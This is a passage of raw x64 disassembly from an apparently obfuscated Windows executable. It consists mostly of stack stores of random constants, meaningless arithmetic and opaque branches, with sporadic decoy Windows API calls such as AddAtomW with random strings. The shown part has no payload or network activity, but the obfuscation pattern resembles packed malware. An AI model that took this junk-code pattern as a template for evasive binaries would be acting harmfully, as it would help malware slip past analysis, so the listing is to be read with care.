mov word [rsp + 0x11f8], ax
mov dword [rsp + 0x3a98], 0x5e82
mov byte [rsp + 0x25a], 0x3a
movabs rax, 0x73394b11fcfa64
mov qword [rsp + 0x7638], rax
movabs rax, 0x7bff3df8e4acda
mov qword [rsp + 0x7640], rax
mov byte [rsp + 0x25b], 0x38
movabs rax, 0x7bd434ac94f99f
mov qword [rsp + 0x7648], rax
mov dword [rsp + 0x3a9c], 0xd0d7
movabs rax, 0x79f80897d58f0e
mov qword [rsp + 0x7650], rax
movabs rax, 0x79e4323eced4ff
mov qword [rsp + 0x7658], rax
mov eax, 0x523
mov word [rsp + 0x11fc], ax
mov dword [rsp + 0x3aa0], 0xbb55
mov byte [rsp + 0x25c], 0x46
mov eax, 0x5fb
mov word [rsp + 0x1200], ax
movabs rax, 0x7b35ad42a98ad6
mov qword [rsp + 0x7660], rax
mov dword [rsp + 0x3aa4], 0x4f4d
mov dword [rsp + 0x3aa8], 0x79f2
mov dword [rsp + 0x3aac], 0x2f1f
movabs rax, 0x70a033850745f5
mov qword [rsp + 0x7668], rax
mov byte [rsp + 0x25d], 0x77
mov dword [rsp + 0x3ab0], 0x19fc
mov eax, 0x122
mov word [rsp + 0x1204], ax
movabs rax, 0x732f8ca10ce916
mov qword [rsp + 0x7670], rax
mov eax, 0x85d
mov word [rsp + 0x1208], ax
mov byte [rsp + 0x25e], 5
mov dword [rsp + 0x3ab4], 0x53e9
mov dword [rsp + 0x3ab8], 0x798f
mov dword [rsp + 0x3abc], 0xaee
mov byte [rsp + 0x25f], 0x57
movabs rax, 0x784b10ae3615d8
mov qword [rsp + 0x7678], rax
mov byte [rsp + 0x260], 0x69
mov eax, 0x8a
mov word [rsp + 0x120c], ax
mov dword [rsp + 0x3ac0], 0x942a
movabs rax, 0x72c8f64110d7b1
mov qword [rsp + 0x7680], rax
movabs rax, 0x71ec3d731f8c38
mov qword [rsp + 0x7688], rax
mov dword [rsp + 0x3ac4], 0x3d0
mov dword [rsp + 0x3ac8], 0x100e
mov dword [rsp + 0x3acc], 0x7fa
mov dword [rsp + 0x3ad0], 0x6afd
movabs rax, 0x7696f52e0ef316
mov qword [rsp + 0x7690], rax
mov byte [rsp + 0x261], 5
mov byte [rsp + 0x262], 0x1f
mov eax, 0x174
mov word [rsp + 0x1210], ax
mov dword [rsp + 0x3ad4], 0xd45c
mov eax, 0x155
mov word [rsp + 0x1214], ax
mov dword [rsp + 0x3ad8], 0x6b21
mov eax, 0x681
mov word [rsp + 0x1218], ax
mov dword [rsp + 0x3adc], 0x8971
movabs rax, 0x73d8e2d610f53f
mov qword [rsp + 0x7698], rax
movabs rax, 0x758f079f3b7dc0
mov qword [rsp + 0x76a0], rax
mov dword [rsp + 0x3ae0], 0x5538
mov eax, 0x526
mov word [rsp + 0x121c], ax
mov dword [rsp + 0x3ae4], 0xe20
mov dword [rsp + 0x3ae8], 0xe199
mov eax, 0xb42
mov word [rsp + 0x1220], ax
movabs rax, 0x777611dd96a016
mov qword [rsp + 0x76a8], rax
mov dword [rsp + 0x3aec], 0x52ca
mov dword [rsp + 0x3af0], 0x4c8b
mov eax, 0xe9c
mov word [rsp + 0x1224], ax
mov eax, 0x3c2
mov word [rsp + 0x1228], ax
movabs rax, 0x7d9f7db77b844c
mov qword [rsp + 0x76b0], rax
mov eax, 0x29f
mov word [rsp + 0x122c], ax
mov dword [rsp + 0x3af4], 0x28ef
movabs rax, 0x77fd376d2e83b9
mov qword [rsp + 0x76b8], rax
mov byte [rsp + 0x263], 0xa9
mov eax, 0xc27
mov word [rsp + 0x1230], ax
mov dword [rsp + 0x3af8], 0x9134
movabs rax, 0x753e4a7a81df04
mov qword [rsp + 0x76c0], rax
mov eax, 0x276
mov word [rsp + 0x1234], ax
mov eax, 0x29a
mov word [rsp + 0x1238], ax
mov byte [rsp + 0x264], 0x43
movabs rax, 0x7a21d880a64697
mov qword [rsp + 0x76c8], rax
mov dword [rsp + 0x3afc], 0x2ab0
movabs rax, 0x7533beef9fea32
mov qword [rsp + 0x76d0], rax
mov byte [rsp + 0x265], 0x29
movabs rax, 0x7582157785e3eb
mov qword [rsp + 0x76d8], rax
movabs rax, 0x78a8e3c08d4826
mov qword [rsp + 0x76e0], rax
mov dword [rsp + 0x3b00], 0x2b64
mov byte [rsp + 0x266], 0x22
mov dword [rsp + 0x3b04], 0x4aea
mov byte [rsp + 0x267], 0xea
mov eax, 0x78b
mov word [rsp + 0x123c], ax
mov eax, 0x70
mov word [rsp + 0x1240], ax
movabs rax, 0x7ad0e5fb4202dd
mov qword [rsp + 0x76e8], rax
mov eax, 0xc67
mov word [rsp + 0x1244], ax
mov eax, 0xa4d
mov word [rsp + 0x1248], ax
mov byte [rsp + 0x268], 0x3b
mov eax, 0x6e0
mov word [rsp + 0x124c], ax
mov dword [rsp + 0x3b08], 0xfb90
movabs rax, 0x7442b4f8330fde
mov qword [rsp + 0x76f0], rax
mov dword [rsp + 0x3b0c], 0x42b
mov eax, 0x1f6
mov word [rsp + 0x1250], ax
mov eax, 0xefa
mov word [rsp + 0x1254], ax
mov eax, 0x722
mov word [rsp + 0x1258], ax
mov dword [rsp + 0x3b10], 0x46c
mov eax, 0x643
mov word [rsp + 0x125c], ax
movabs rax, 0x7dd4c5d93f5e68
mov qword [rsp + 0x76f8], rax
mov dword [rsp + 0x3b14], 0x76ee
mov byte [rsp + 0x269], 0x78
movabs rax, 0x77d36b4154175c
mov qword [rsp + 0x7700], rax
movabs rax, 0x7a43d990028784
mov qword [rsp + 0x7708], rax
mov dword [rsp + 0x3b18], 0x2f09
movabs rax, 0x7e246b116d2777
mov qword [rsp + 0x7710], rax
mov eax, 0xad6
mov word [rsp + 0x1260], ax
mov eax, 0xccf
mov word [rsp + 0x1264], ax
mov eax, 0x160
mov word [rsp + 0x1268], ax
mov byte [rsp + 0x26a], 0xdf
mov byte [rsp + 0x26b], 0x16
movabs rax, 0x73cc23b2d8e4f9
mov qword [rsp + 0x7718], rax
movabs rax, 0x7097405455bdd1
mov qword [rsp + 0x7720], rax
movabs rax, 0x75312476db033a
mov qword [rsp + 0x7728], rax
movabs rax, 0x72d0a0a599200c
mov qword [rsp + 0x7730], rax
mov eax, 0x3d8
mov word [rsp + 0x126c], ax
mov dword [rsp + 0x3b1c], 0x654a
mov byte [rsp + 0x26c], 1
mov byte [rsp + 0x26d], 0x2a
movabs rax, 0x793545a71f6f3c
mov qword [rsp + 0x7738], rax
movabs rax, 0x71346c2fcd2938
mov qword [rsp + 0x7740], rax
mov byte [rsp + 0x26e], 0xa9
mov eax, 0x76b
mov word [rsp + 0x1270], ax
mov byte [rsp + 0x26f], 0xa6
movabs rax, 0x761c28924bb00b
mov qword [rsp + 0x7748], rax
mov byte [rsp + 0x270], 0x67
mov byte [rsp + 0x271], 0xf6
mov eax, 0x1a8
mov word [rsp + 0x1274], ax
mov byte [rsp + 0x272], 0x3e
mov byte [rsp + 0x273], 0x91
mov dword [rsp + 0x3b20], 0x4ec4
mov dword [rsp + 0x3b24], 0x1d2e
mov eax, 0xf29
mov word [rsp + 0x1278], ax
movabs rax, 0x7b137e9abc5055
mov qword [rsp + 0x7750], rax
movabs rax, 0x7b4b1520745dbe
mov qword [rsp + 0x7758], rax
movabs rax, 0x7730e14d696785
mov qword [rsp + 0x7760], rax
movabs rax, 0x7ea64359785d3f
mov qword [rsp + 0x7768], rax
mov byte [rsp + 0x274], 0x9a
mov eax, 0x833
mov word [rsp + 0x127c], ax
movabs rax, 0x78ad572b43433e
mov qword [rsp + 0x7770], rax
mov byte [rsp + 0x275], 0x32
mov byte [rsp + 0x276], 0xf3
mov dword [rsp + 0x3b28], 0x6704
movabs rax, 0x763888484d9af0
mov qword [rsp + 0x7778], rax
mov dword [rsp + 0x3b2c], 0x316d
movabs rax, 0x736ec86fe54633
mov qword [rsp + 0x7780], rax
mov eax, 0x1f3
mov word [rsp + 0x1280], ax
mov byte [rsp + 0x277], 0xc
movabs rax, 0x7ec4dda555376f
mov qword [rsp + 0x7788], rax
mov dword [rsp + 0x3b30], 0x4b78
mov eax, 0x49c
mov word [rsp + 0x1284], ax
mov dword [rsp + 0x3b34], 0x2a81
mov dword [rsp + 0x3b38], 0x708c
mov byte [rsp + 0x278], 0x15
movabs rax, 0x770d5b33f65553
mov qword [rsp + 0x7790], rax
mov eax, 0x14c
mov word [rsp + 0x1288], ax
mov dword [rsp + 0x3b3c], 0x3e1f
mov byte [rsp + 0x279], 0x8d
movabs rax, 0x7c97f90cd4f4f9
mov qword [rsp + 0x7798], rax
mov eax, 0x31f
mov word [rsp + 0x128c], ax
mov dword [rsp + 0x3b40], 0x57cf
mov dword [rsp + 0x3b44], 0x699a
movabs rax, 0x7bff9b425ea34b
mov qword [rsp + 0x77a0], rax
movabs rax, 0x783132f9d89034
mov qword [rsp + 0x77a8], rax
movabs rax, 0x7dffe2ddfd5b30
mov qword [rsp + 0x77b0], rax
mov eax, 0x3a
mov word [rsp + 0x1290], ax
movabs rax, 0x727d7a52e5d6e5
mov qword [rsp + 0x77b8], rax
mov eax, 0xa4
mov word [rsp + 0x1294], ax
mov byte [rsp + 0x27a], 0xda
mov dword [rsp + 0x3b48], 0x55e3
mov eax, 0xfc6
mov word [rsp + 0x1298], ax
mov eax, 0x450
mov word [rsp + 0x129c], ax
mov byte [rsp + 0x27b], 0x7c
movabs rax, 0x72bd743fcb93e3
mov qword [rsp + 0x77c0], rax
movabs rax, 0x75c4403db4fe74
mov qword [rsp + 0x77c8], rax
mov byte [rsp + 0x27c], 0xe7
mov dword [rsp + 0x3b4c], 0x1a31
mov eax, 0x129
mov word [rsp + 0x12a0], ax
mov dword [rsp + 0x3b50], 0x619a
movabs rax, 0x743fcc2b6e9a5f
mov qword [rsp + 0x77d0], rax
mov byte [rsp + 0x27d], 0x73
mov dword [rsp + 0x3b54], 0xd92
mov eax, 0x5da
mov word [rsp + 0x12a4], ax
mov dword [rsp + 0x3b58], 0x1eb2
mov dword [rsp + 0x3b5c], 0xb8b1
mov eax, 0x7c2
mov word [rsp + 0x12a8], ax
mov eax, 0x584
mov word [rsp + 0x12ac], ax
movabs rax, 0x73419196c2e540
mov qword [rsp + 0x77d8], rax
movabs rax, 0x71f99ef04f7115
mov qword [rsp + 0x77e0], rax
mov dword [rsp + 0x3b60], 0x20e6
mov dword [rsp + 0x3b64], 0x64a2
mov dword [rsp + 0x3b68], 0x5935
mov eax, 0x661
mov word [rsp + 0x12b0], ax
mov eax, 0x7bc
mov word [rsp + 0x12b4], ax
movabs rax, 0x7853591b1386ab
mov qword [rsp + 0x77e8], rax
mov byte [rsp + 0x27e], 0x5f
movabs rax, 0x7eaba723957102
mov qword [rsp + 0x77f0], rax
mov dword [rsp + 0x3b6c], 0x6f63
mov eax, 0xbf8
mov word [rsp + 0x12b8], ax
movabs rax, 0x7a830c3ad7d3de
mov qword [rsp + 0x77f8], rax
mov eax, 0x3bb
mov word [rsp + 0x12bc], ax
movabs rax, 0x73732360a83c27
mov qword [rsp + 0x7800], rax
movabs rax, 0x754eef262bbb92
mov qword [rsp + 0x7808], rax
mov eax, 0xdbe
mov word [rsp + 0x12c0], ax
mov byte [rsp + 0x27f], 0x60
movabs rax, 0x7dffdba6280e0f
mov qword [rsp + 0x7810], rax
mov eax, 0xfa8
mov word [rsp + 0x12c4], ax
movabs rax, 0x7a2a9934be39ef
mov qword [rsp + 0x7818], rax
mov eax, 0x3c6
mov word [rsp + 0x12c8], ax
mov dword [rsp + 0x3b70], 0xb1cd
mov byte [rsp + 0x280], 0x3d
mov dword [rsp + 0x3b74], 0x7dd2
mov dword [rsp + 0x3b78], 0x79a7
mov byte [rsp + 0x281], 9
mov byte [rsp + 0x282], 0x92
mov byte [rsp + 0x283], 0x60
mov dword [rsp + 0x3b7c], 0xb186
mov byte [rsp + 0x284], 7
mov dword [rsp + 0x3b80], 0x1f66
movabs rax, 0x7e75cbf38988fb
mov qword [rsp + 0x7820], rax
movabs rax, 0x75e1d5f0fb0e5d
mov qword [rsp + 0x7828], rax
movabs rax, 0x73bcae12d4b9f7
mov qword [rsp + 0x7830], rax
mov eax, 0x88
mov word [rsp + 0x12cc], ax
mov dword [rsp + 0x3b84], 0x22c3
mov dword [rsp + 0x3b88], 0xc0e8
mov byte [rsp + 0x285], 0x3e
movabs rax, 0x7989e6e4263283
mov qword [rsp + 0x7838], rax
mov dword [rsp + 0x3b8c], 0x16ef
mov eax, 0x2b8
mov word [rsp + 0x12d0], ax
mov eax, 0x19f
mov word [rsp + 0x12d4], ax
mov byte [rsp + 0x286], 0x14
mov eax, 0x625
mov word [rsp + 0x12d8], ax
mov dword [rsp + 0x3b90], 0x1688
mov eax, 0x7cf
mov word [rsp + 0x12dc], ax
mov eax, 0x13f
mov word [rsp + 0x12e0], ax
mov eax, 0x147
mov word [rsp + 0x12e4], ax
movabs rax, 0x7a25c05f52ac30
mov qword [rsp + 0x7840], rax
mov eax, 0xc09
mov word [rsp + 0x12e8], ax
movabs rax, 0x7872863b363ed8
mov qword [rsp + 0x7848], rax
movabs rax, 0x7412967ba4cec0
mov qword [rsp + 0x7850], rax
mov dword [rsp + 0x3b94], 0x1972
movabs rax, 0x799b87c704cab8
mov qword [rsp + 0x7858], rax
mov eax, 0x3dc
mov word [rsp + 0x12ec], ax
movabs rax, 0x7043d2ea048604
mov qword [rsp + 0x7860], rax
mov byte [rsp + 0x287], 0x17
mov byte [rsp + 0x288], 0x58
movabs rax, 0x7451fa228aa258
mov qword [rsp + 0x7868], rax
mov dword [rsp + 0x3b98], 0xc2e8
movabs rax, 0x7eb6c1a0e14350
mov qword [rsp + 0x7870], rax
mov dword [rsp + 0x3b9c], 0x6332
movabs rax, 0x7e162698710d74
mov qword [rsp + 0x7878], rax
mov eax, 0x88
mov word [rsp + 0x12f0], ax
mov byte [rsp + 0x289], 6
mov dword [rsp + 0x3ba0], 0x7d17
mov eax, 0xc16
mov word [rsp + 0x12f4], ax
mov dword [rsp + 0x3ba4], 0x2187
movabs rax, 0x71fe9d39198a1f
mov qword [rsp + 0x7880], rax
mov byte [rsp + 0x28a], 0xe7
mov byte [rsp + 0x28b], 0x6e
movabs rax, 0x7c6b4635723e28
mov qword [rsp + 0x7888], rax
movabs rax, 0x702baf06bfc2fc
mov qword [rsp + 0x7890], rax
mov eax, 0x2d9
mov word [rsp + 0x12f8], ax
mov byte [rsp + 0x28c], 0x29
mov dword [rsp + 0x3ba8], 0xe438
mov byte [rsp + 0x28d], 0x78
movabs rax, 0x7251b6b18c4ba1
mov qword [rsp + 0x7898], rax
movabs rax, 0x71f170cffa8e2c
mov qword [rsp + 0x78a0], rax
movabs rax, 0x76a41930dc0ff3
mov qword [rsp + 0x78a8], rax
mov eax, 0x407
mov word [rsp + 0x12fc], ax
mov byte [rsp + 0x28e], 0xb
mov eax, 0x3de
mov word [rsp + 0x1300], ax
mov dword [rsp + 0x3bac], 0x302e
mov byte [rsp + 0x28f], 0x2d
mov eax, 0x68e
mov word [rsp + 0x1304], ax
mov dword [rsp + 0x3bb0], 0x73de
mov dword [rsp + 0x3bb4], 0x561e
mov eax, 0x578
mov word [rsp + 0x1308], ax
movabs rax, 0x785fa129d05fc9
mov qword [rsp + 0x78b0], rax
mov eax, 0xffc
mov word [rsp + 0x130c], ax
movabs rax, 0x7e8045b8c3ba83
mov qword [rsp + 0x78b8], rax
mov dword [rsp + 0x3bb8], 0xfc8e
mov eax, 0xa07
mov word [rsp + 0x1310], ax
movabs rax, 0x785bd2a3bac01c
mov qword [rsp + 0x78c0], rax
mov eax, 0x324
mov word [rsp + 0x1314], ax
mov dword [rsp + 0x3bbc], 0x1bb9
mov byte [rsp + 0x290], 0xcc
mov dword [rsp + 0x3bc0], 0x554e
mov dword [rsp + 0x3bc4], 0x8f28
mov eax, 0xd6f
mov word [rsp + 0x1318], ax
movabs rax, 0x72efc6356f4c20
mov qword [rsp + 0x78c8], rax
movabs rax, 0x7b4ea0381f5a73
mov qword [rsp + 0x78d0], rax
movabs rax, 0x733effc314853f
mov qword [rsp + 0x78d8], rax
movabs rax, 0x75c0e4c63629e8
mov qword [rsp + 0x78e0], rax
mov eax, 0x498
mov word [rsp + 0x131c], ax
mov byte [rsp + 0x291], 0x5d
mov eax, 0x407
mov word [rsp + 0x1320], ax
mov dword [rsp + 0x3bc8], 0x66d7
movabs rax, 0x71215e87e7852d
mov qword [rsp + 0x78e8], rax
mov byte [rsp + 0x292], 0x63
mov eax, 0x40c
mov word [rsp + 0x1324], ax
mov eax, 0xf8
mov word [rsp + 0x1328], ax
mov eax, 9
mov word [rsp + 0x132c], ax
movabs rax, 0x74af7854016aea
mov qword [rsp + 0x78f0], rax
mov byte [rsp + 0x293], 0xc1
mov byte [rsp + 0x294], 0xc0
mov dword [rsp + 0x3bcc], 0x6016
movabs rax, 0x77e4d3e96b0121
mov qword [rsp + 0x78f8], rax
mov dword [rsp + 0x3bd0], 0x116
movabs rax, 0x774bfe6ca55b65
mov qword [rsp + 0x7900], rax
movabs rax, 0x7ae6b39adf2369
mov qword [rsp + 0x7908], rax
mov dword [rsp + 0x3bd4], 0x2f83
movabs rax, 0x790b5320a27639
mov qword [rsp + 0x7910], rax
mov byte [rsp + 0x295], 0xee
movabs rax, 0x7a29a2920a7ba5
mov qword [rsp + 0x7918], rax
movabs rax, 0x74a0e1d9498488
mov qword [rsp + 0x7920], rax
mov eax, 0xad
mov word [rsp + 0x1330], ax
mov eax, 0x4d2
mov word [rsp + 0x1334], ax
movabs rax, 0x70e5a4b436f2b9
mov qword [rsp + 0x7928], rax
mov eax, 0x864
mov word [rsp + 0x1338], ax
mov eax, 0x72a
mov word [rsp + 0x133c], ax
movabs rax, 0x71a00fc6f3d5b3
mov qword [rsp + 0x7930], rax
mov byte [rsp + 0x296], 0x2f
mov dword [rsp + 0x3bd8], 0x1e08
movabs rax, 0x7b6ab599db0a53
mov qword [rsp + 0x7938], rax
movabs rax, 0x757ba273f1cf96
mov qword [rsp + 0x7940], rax
movabs rax, 0x7afce749375d3f
mov qword [rsp + 0x7948], rax
movabs rax, 0x714e0a674f99da
mov qword [rsp + 0x7950], rax
mov eax, 0x3cc
mov word [rsp + 0x1340], ax
mov byte [rsp + 0x297], 0x74
mov eax, 0x662
mov word [rsp + 0x1344], ax
movabs rax, 0x70653299cef596
mov qword [rsp + 0x7958], rax
mov byte [rsp + 0x298], 0x4d
mov byte [rsp + 0x299], 0x9c
mov dword [rsp + 0x3bdc], 0x9dc
mov dword [rsp + 0x3be0], 0x19f9
mov byte [rsp + 0x29a], 0x63
mov byte [rsp + 0x29b], 0xfd
movabs rax, 0x7be84c98572a37
mov qword [rsp + 0x7960], rax
mov byte [rsp + 0x29c], 0xb5
mov byte [rsp + 0x29d], 0x36
movabs rax, 0x73d2e12a362f86
mov qword [rsp + 0x7968], rax
movzx eax, word [rsp + 0x10b0]
add eax, 0x462
mov word [rsp + 0x10b0], ax
mov ecx, 4
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x3be4], eax
movabs rax, 0x7b8a70ff3ba3a8
mov rcx, qword [rsp + 0x7968]
sub rcx, rax
mov rax, rcx
mov qword [0x140120390], rax
movzx eax, word [rsp + 0x10b0]
cmp eax, 0xfd
jle 0x14000a923
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [rsp + 0x3be8], 0x17b8
mov dword [rsp + 0x3bec], 0x4004
mov byte [rsp + 0x29e], 0x31
movsx eax, word [rsp + 0x9d4]
imul eax, eax, 0xb9
mov word [rsp + 0x9d4], ax
movzx eax, byte [rsp + 0x29e]
mov byte [rsp + 0x29f], al
mov dword [rsp + 0x3bf0], 0x2fc4
movzx eax, byte [rsp + 0x29f]
mov byte [rsp + 0x3bf4], al
cmp byte [rsp + 0x3bf4], 0x31
je 0x14000a949
jmp 0x14000a99a
movzx eax, byte [rsp + 0x29e]
mov byte [0x14012728b], al
mov dword [rsp + 0x3bf8], 0x96f3
mov rax, qword [rsp + 0x7968]
mov qword [rsp + 0x7970], rax
movabs rax, 0x758beb3dce451e
cmp qword [rsp + 0x7970], rax
je 0x14000a988
jmp 0x14000a98d
call fcn.140103580
mov dword [rsp + 0x3bfc], 0xd5e0
jmp 0x14000a9cd
movzx eax, word [rsp + 0x10b0]
and eax, 0x1dd
mov word [rsp + 0x10b0], ax
movzx eax, word [rsp + 0x10b0]
xor eax, 0xc26
mov word [rsp + 0x10b0], ax
mov dl, 0xe2
mov cl, 0xb5
call fcn.140103460
cmp dword [rsp + 0x3bf8], 0xa173
ja 0x14000ab56
movsx eax, byte [0x14012728b]
movsx ecx, byte [rsp + 0x29e]
or eax, ecx
mov byte [rsp + 0x29f], al
mov eax, dword [rsp + 0x3bf8]
add eax, 0x70
mov dword [rsp + 0x3bf8], eax
mov eax, dword [rsp + 0x3be8]
shl eax, 2
mov dword [rsp + 0x3be8], eax
mov rax, qword [0x140120390]
shr rax, 0x33
mov qword [rsp + 0x7968], rax
mov eax, dword [rsp + 0x3be8]
add eax, 0x6e45
mov dword [rsp + 0x3be8], eax
movsx eax, word [rsp + 0x9d4]
sub eax, 0x41
mov word [rsp + 0x9d4], ax
movsx eax, word [rsp + 0x9d4]
and eax, 0x11d
mov word [rsp + 0x9d4], ax
movzx eax, word [rsp + 0x10b0]
add eax, 0x381
mov word [rsp + 0x10b0], ax
mov eax, dword [rsp + 0x3be8]
sub eax, 0x32c1
mov dword [rsp + 0x3be8], eax
movabs rax, 0x7183a09f47e03e
mov rcx, qword [0x140120390]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7968], rax
movabs rax, 0x70d52e79462d57
mov rcx, qword [0x140120390]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7968], rax
movsx eax, byte [rsp + 0x29e]
movsx ecx, byte [0x14012728b]
or eax, ecx
mov byte [rsp + 0x29f], al
movabs rax, 0x70b63add6664bc
mov rcx, qword [rsp + 0x7968]
xor rcx, rax
mov rax, rcx
mov qword [0x140120390], rax
movsx eax, word [rsp + 0x9d4]
shl eax, 9
mov word [rsp + 0x9d4], ax
movzx eax, word [rsp + 0x10b0]
sar eax, 2
mov word [rsp + 0x10b0], ax
movsx eax, word [rsp + 0x9d4]
and eax, 0x3e7
mov word [rsp + 0x9d4], ax
mov eax, dword [rsp + 0x3be8]
sub eax, 0x2d36
mov dword [rsp + 0x3be8], eax
jmp 0x14000a9cd
movzx eax, word [rsp + 0x10b0]
mov word [rsp + 0x1348], ax
mov rax, qword [rsp + 0x7968]
mov rcx, qword [0x140120390]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x75f0], rax
mov dword [rsp + 0x3c00], 0x79fa
mov eax, dword [rsp + 0x3c00]
mov dword [rsp + 0x3c04], eax
mov eax, dword [rsp + 0x3be8]
add eax, 0x50f9
mov dword [rsp + 0x37ac], eax
mov eax, dword [rsp + 0x3c00]
sub eax, 0x91c5
cmp eax, dword [rsp + 0x3c04]
jne 0x14000ac5e
movsx eax, word [rsp + 0x9d4]
add eax, 0x7ef
mov word [rsp + 0x9d4], ax
mov rax, qword [rsp + 0x7968]
mov rcx, qword [rsp + 0x75f0]
sub rcx, rax
mov rax, rcx
mov qword [0x140120390], rax
mov eax, dword [rsp + 0x3be8]
shl eax, 0x1f
mov dword [rsp + 0x37ac], eax
call fcn.1401034f0
mov rax, qword [0x140120390]
mov rcx, qword [rsp + 0x75f0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x7968], rax
movsx eax, word [rsp + 0x9d4]
or eax, 0x448
mov word [rsp + 0x9d4], ax
call fcn.140103400
movzx eax, word [rsp + 0x1348]
sar eax, 1
mov word [rsp + 0x10b0], ax
jmp 0x1401032c1
movsx eax, byte [rsp + 0x29e]
movsx ecx, byte [rsp + 0x29f]
imul eax, ecx
movsx ecx, byte [0x14012728b]
cmp eax, ecx
je 0x1401031db
mov eax, dword [rsp + 0x3c04]
add eax, 0xc286
cmp eax, dword [rsp + 0x3c00]
jb 0x14000ad72
movzx eax, word [rsp + 0x9d4]
mov word [rsp + 0x134c], ax
mov dword [rsp + 0x3c08], 0x9664
lea rax, [rsp + 0x3c00]
mov qword [rsp + 0x7978], rax
movzx eax, word [rsp + 0x10b0]
sub eax, 0x29c
movzx ecx, word [rsp + 0x1348]
cmp eax, ecx
jle 0x14000ad72
mov eax, dword [rsp + 0x3c04]
mov ecx, dword [rsp + 0x3c00]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7978]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3be8]
shl eax, 9
mov dword [rsp + 0x37ac], eax
movzx eax, word [rsp + 0x1348]
sar eax, 0xc
mov word [rsp + 0x10b0], ax
mov rax, qword [rsp + 0x7978]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c04]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c00], eax
movsx eax, byte [rsp + 0x29f]
movsx ecx, byte [0x14012728b]
and eax, ecx
mov byte [rsp + 0x29e], al
mov rax, qword [rsp + 0x7978]
mov ecx, dword [rsp + 0x3c00]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7978]
mov dword [rcx], eax
mov dword [rsp + 0x3c0c], 0xfd2a
movzx eax, byte [0x140120038]
add eax, 0x43
mov byte [0x140120038], al
movzx eax, word [rsp + 0x10b0]
mov word [rsp + 0x1350], ax
mov dword [rsp + 0x3c10], 0xfb03
lea rcx, str.TCF_MjOt_CPNkJTT.qn
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1354], ax
movabs rax, 0x7ee76e5ccf0905
mov rcx, qword [rsp + 0x7360]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7360], rax
mov eax, dword [rsp + 0x3be8]
mov dword [rsp + 0x3c14], eax
movsx eax, word [rsp + 0x134c]
mov dword [rsp + 0x3c18], eax
cmp dword [rsp + 0x3c18], 0x22
je 0x14000ae09
jmp 0x14000ae90
lea rcx, [rsp + 0x14cd0]
call qword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
mov dword [rsp + 0x3c1c], eax
mov rax, qword [0x140120390]
mov rcx, qword [rsp + 0x7968]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x75f0], rax
mov rax, qword [rsp + 0x7978]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c00]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c04], eax
movzx eax, word [rsp + 0x1350]
movzx ecx, word [rsp + 0x1348]
add eax, ecx
mov word [rsp + 0x10b0], ax
mov rax, qword [rsp + 0x7978]
mov ecx, dword [rsp + 0x3c04]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x7978]
mov dword [rcx], eax
jmp 0x14000aed6
lea rax, [rsp + 0x9d4]
mov qword [rsp + 0x7980], rax
mov eax, dword [rsp + 0x3be8]
mov ecx, dword [rsp + 0x3c14]
sub ecx, eax
mov eax, ecx
mov dword [0x140120398], eax
mov rax, qword [rsp + 0x7360]
mov qword [rsp + 0x7988], rax
lea rcx, [rsp + 0x13738]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0x9d4]
mov qword [rsp + 0x7990], rax
movzx eax, word [rsp + 0x10b0]
movzx ecx, word [rsp + 0x1348]
sar eax, cl
mov word [rsp + 0x1350], ax
lea rax, [rsp + 0x75f0]
mov qword [rsp + 0x7998], rax
lea rcx, str.m6y_OREN_j_NIOC
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1358], ax
lea rax, [rsp + 0x3c00]
mov qword [rsp + 0x79a0], rax
mov eax, dword [rsp + 0x3be8]
mov dword [rsp + 0x3c20], eax
movsx eax, byte [rsp + 0x29f]
movsx ecx, byte [0x14012728b]
xor eax, ecx
mov byte [rsp + 0x29e], al
movabs rax, 0x7887e19a9113e9
mov rcx, qword [rsp + 0x7988]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x7360], rax
mov rax, qword [rsp + 0x7998]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x75f0]
shl rax, cl
mov qword [0x140120390], rax
mov rax, qword [rsp + 0x7998]
mov rax, qword [rax]
mov rcx, qword [0x140120390]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x75f0], rax
mov eax, dword [rsp + 0x3c10]
add eax, 0x1d
mov dword [rsp + 0x3c10], eax
mov rax, qword [rsp + 0x7990]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9d4]
and eax, ecx
mov word [rsp + 0x134c], ax
movzx eax, word [rsp + 0x1348]
movzx ecx, word [rsp + 0x1350]
sub eax, ecx
mov word [rsp + 0x10b0], ax
mov eax, dword [rsp + 0x3be8]
mov ecx, dword [rsp + 0x3c14]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov rax, qword [rsp + 0x7998]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x75f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7968], rax
mov rax, qword [rsp + 0x79a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c00]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c04], eax
movabs rax, 0x728468ed920dcb
mov rcx, qword [rsp + 0x7988]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7360], rax
mov rax, qword [rsp + 0x7980]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7990]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x9d4], ax
movzx eax, word [rsp + 0x10b0]
movzx ecx, word [rsp + 0x1348]
add eax, ecx
